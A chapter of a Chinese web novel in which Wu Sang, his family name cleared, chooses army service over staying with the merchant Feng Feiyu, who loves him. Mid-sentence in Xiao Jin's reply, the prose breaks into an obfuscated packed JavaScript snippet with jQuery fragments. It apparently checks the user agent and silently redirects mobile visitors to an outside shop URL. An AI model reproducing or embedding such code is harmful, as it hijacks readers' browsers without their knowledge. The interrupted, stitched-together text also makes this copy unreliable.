82.第 82 章
作品:《穿书后,废太子他总在崩人设》 再次出宫,洛鸢和萧烬的心情大不一样了。
正像梧桐树上飘下的落叶,随着风在空中不停地摇摆,轻快、丰盈、满足......
这场胜利无比重要。它关系着有人是否可以重新燃起内心的信念。
比如乌桑。
那个活人微死的乌桑。
他的伤势已经恢复大半了。冯飞鱼每日命后厨大鱼大肉、人参鹿茸地给他大补特补,乌桑身形略微圆润了些,比之前越发俊秀。
洛鸢和萧烬刚进霓裳斋大门,便看见冯飞鱼领着伙计们过来跪拜:“臣女、小的......拜见宏德王、拜见王妃......”
洛鸢扑哧一笑:“飞鱼,你这是做什么?咱们之间何时讲究这些虚礼了?”
冯飞鱼行完礼,立即恢复平日跳脱的模样:“嘻嘻,我都听说了,恭喜恭喜啦。真没想到苏相那个王八蛋居然这么恶毒,如今他真是活该!”
“以后姐姐和......王爷的好日子就要来了。”冯飞鱼瞄萧烬一眼,感觉和他还不是太熟,不好意思乱喊。
洛鸢朝冯飞鱼眨眼,凑到她耳边:“他啊,不喜欢别人喊他王爷......”
毕竟自出生起便是太子......冯飞鱼秒懂:“哦哦,那我以后喊姐夫吧。”
萧烬:“......”貌似有被冒犯到。
今日霓裳斋并未对外营业,里面稍显冷清。洛鸢环视一圈,拧了拧眉:“乌桑呢?”
一提到乌桑,冯飞鱼乖巧的表情瞬间消失得无影无踪。她咬了咬唇,蹙眉道:“那个傻子......这会儿搁后院练剑呢。”
“平日只知道坐着发呆,可自从苏相落马、梁王受罚后,便突然精神起来,每日都在院子里练两个时辰,还美其名曰锻炼身体......”
“我看他就是脑子有泡。”
洛鸢拐去后院,站在连廊上静静看他。许是因为伤势拉扯,乌桑舞剑时还有些笨拙,但总体还是如行云流水,看得人心里一阵畅快。
乌桑先是轻柔出剑,随后一阵歘歘歘飞速翻转,地上转眼落了一层细细的树枝。
洛鸢忍不住鼓掌。
乌桑停下,收剑入鞘,随即朝她走来,脸上带着羞涩的笑意。
“王妃,你们做到了。谢谢你们为乌家平反。”
他半跪下,准备行个大礼。
洛鸢赶忙制止,伸手就要扶他:“你这是做什么,多见外啊。再说,平反一事,你的功劳当属头功。毕竟,若非你拼命抢出那封密信,又怎么可能......”
乌桑微愣,又不好意思地笑了。
萧烬不知何时走过来,拧着眉,满脸傲娇:“别谦虚了。在这件事上,你功劳最大。”
乌桑有些错愕。
在他眼里,萧烬一直都很难相处,脾气臭、架子大、摆谱、还总是针对自己。就算他受伤后萧烬没像之前摆那么多臭脸,但总归一副看他不爽的样子。
但没想到,今日萧烬竟主动捧他。
“哪有......属下不敢......”乌桑不知所措,局促地回应。
一阵虚伪的谦让后,空气安静下来。
“乌云澈。”半晌后,洛鸢喊他。
乌桑打了个激灵,眼眶一热。
洛鸢有些不好意思:“嘻嘻,你们乌家如今得以平反,你以后不必再用化名了,可以光明正大做回乌云澈了。”
“嗯,王妃说得对。可以不必再活得如阴沟里的老鼠,可以名正言顺做回乌云澈了。”乌桑说着,眼圈更红几分,“当初父亲为我取这个名字,就是希望我既能像云一般洒脱恣意,又能如水一般澄澈正直......”
他迅速调整情绪,换上笑容:“若非殿下和王妃提醒,我之前还不知要为仇人卖命到何种程度呢。”
萧烬轻咳:“这些事倒是不必再提。你以后有什么打算?继续留在宫里当差吗?”
“不要——”冯飞鱼一声大叫,将众人吓了一跳。
她不好意思笑笑:“我家澈澈不能再进宫了,我不允许。宫里管得严,无论做什么都有诸多限制,何必去找那些不痛快!以后就让他跟我混。”
众人:我家?澈澈?
三人均错愕地望向冯飞鱼,尤其乌桑,从脸颊红到耳根、又红到了脖子。
什么情况?什么情况啊!洛鸢和萧烬意味深长地对视一眼。
乌桑赶忙解释:“殿下和王妃不要误会,飞鱼她一直是这般口无遮拦的性子......”
“你就是我家的,怎么了!乌桑,你在这白吃白住还不乐意干活,我养你这么久,你不应该以身抵债吗?”
乌桑:“......不要乱说话。”
冯飞鱼越发不服,她径直挽上乌桑的胳膊,用力拉扯几下:“你......你......你怎么这般不识好歹。怎么......当我的人还委屈你了!”
此刻,洛鸢和萧烬差点被这把糖齁死。
乌桑脸一红,朝两人不好意思地笑笑:“她......她......你们不要介意......”
他挣开冯飞鱼用力拉拽他的小嫩胳膊,叹口气:“飞鱼,以后不要再说这种傻话了。我是个人啊,一个活生生的大男人。又不是物件、不是你养的鸡鸭兔子、更不是什么小猫小狗,怎么就变成你的了?”
冯飞鱼面露红晕,踮起脚尖,一把薅住乌桑的耳朵......乌桑挣扎几下,索性认命。
洛鸢捂嘴偷笑,已然看穿了一切。
“飞鱼,想让澈澈......变成‘你家’的......澈澈,”洛鸢故意将“澈澈”二字加重语调,“这还不简单?成亲就好了呀。”
“放心,我和殿下既是你的娘家人,又是澈——澈——的娘家人。到时一定为你们办得风风光光。”
洛鸢说完,咯咯笑起来。
萧烬也忍不住憋红了脸。
冯飞鱼的小脸羞得通红,像一枚被迫催熟的大柿子:“哎呀,姐姐——你在说什么啊?哎呀!”
“你再这样取笑我,我以后不跟你了。”
洛鸢瞄下乌桑,故意一脸严肃:“澈澈,冯飞鱼根本没打算要你。方才她说的那些屁话,你还是尽快忘了吧。”
“哪有!才不是——”冯飞鱼急了,又想踮脚去掐乌桑的耳朵。
乌桑一把扶住她,温声道:“别闹了。”
他转脸看着洛鸢,眼神干净又自然:“王妃的提议......我会考虑的,不过不是现在。在没有出人头地之前,我不会娶妻。”
冯飞鱼身子一僵,面露紧张之色。
“堂堂七尺男儿,怎能靠女人养?!即便飞鱼心甘情愿养着我,我又岂会安心,更愧对乌家祖训。若非建功立业做出一番成绩,我乌桑、不,乌云澈,绝不会娶妻生子,让她们为我蒙羞、受人诟病。”
“经此种种,我自是不会再回宫当差了。”乌桑看向萧烬,“殿下,记得之前您曾对我提过,说愿意推荐我去军营从军,此话还做数吗?”
说这话时,他的表情好认真,认真到萧烬无法拒绝。
“自然、自然还算数的。”萧烬当时只是随口一提,没想到乌桑至今还记着,“只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084847|187941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
......她愿意吗?”
萧烬指了指呆立在一旁懵逼的冯飞鱼。
冯飞鱼褪去了方才的活泼和灵动,突然安静下来,眼眶内泛起盈盈水色。
“从军......不要吧......从军不仅吃不好喝不好睡不好......而且诸事艰难,还时时都有殒命的危险......乌桑,你不要去......我怕以后再也见不到你了。”
她声音里掺杂了几分没出息的哀求,与她倔强骄傲的性格格格不入。
洛鸢被触动,鼻尖一酸,满脸认真道:“乌桑,其实你留在京城也是一样可以建功立业的,你可以和飞鱼一起帮我和殿下做事。这样,我们也更方便互相照应......”
冯飞鱼点头如敲钟。
“没错、没错,王妃说得极是。你......不要走......好不好?我以后不闹你了,更不会惹你心烦,我也不揪你耳朵、不掐你脸了好不好......乌桑,我如今一日见不到你便心里......”
冯飞鱼噎住,半晌后,苦笑:“乌桑,我不信你不明白!”
气氛骤冷,只有心跳声热火朝天。
许久,萧烬主动暖场。
他挤出欠抽的表情:“哎,冯飞鱼,像你这样不谙世事、头脑肤浅的小女孩,哪懂得我们男人的志向。你未免太小看乌桑了吧,他岂是会被儿女情长绊住的人?乌桑是草原上的鹰,注定要搏击长空的。你想将他圈养在你身边,对他多残忍啊。”
“是吧,乌......云澈?”
居然有人骂她肤浅?她可是京城第一天才女商人......冯飞鱼极为不服气。但她只是不满地撅了撅嘴,暂时没有反驳的力气。
冯飞鱼泪眼望着乌桑:“那......你是鹰吗?你很想去飞吗?”
方才,乌桑已沉默了许久,此时听见冯飞鱼的话,身子轻轻一颤。
他是鹰吗?他不是。
“飞鱼,如今大胤边境不宁,边境随时都会被邻国进犯,我有一身武艺,去军营后刚好能派上用场,不至于像个废物般活着。再说啦,你不是一直嚷嚷着要将生意做到边境去吗?就当我提前去帮你开路吧。”
“方才殿下高看我了。我哪是什么雄鹰,我其实就是冰天雪地里一只被冻僵的怂麻雀,贪恋着星星点点的阳光和温暖。嗯......虽然这只麻雀很平凡、很没用,但它保证,它一定不会死、也一定会记得回家......飞鱼......”
乌桑说完,满脸滚烫,似乎完成了某种重要的仪式,瞥向洛鸢,如释重负。
然后,又从眼底重新溢出幸福的笑意。
经过这么久的相处,乌桑那颗曾被命运重创到千疮百孔的心,正被冯飞鱼的“热情”、“无赖”、“任性”、“霸道”、以及毫不做作的喜欢和占有......一点一点地融化掉。
他投降了。
丝毫不觉得憋屈。
更加不觉得是将就、或是退而求其次。
此刻,他能握住的一切,都是最好的。
“呜呜呜——”一声爆哭打破方才好不容易营造出的氛围感,冯飞鱼哭得稀里哗啦。
“哎呀......乌桑......你要不要这样啊......谁不让你去了......不当个将军,你不要回来见我......呜呜......”
乌桑翘起嘴角:“放心,一定不会让你失望。”
洛鸢情不自禁地鼓掌。还有萧烬,第一次看到乌桑的另一面。
他默默感叹:“女人啊......实在太可怕了。”

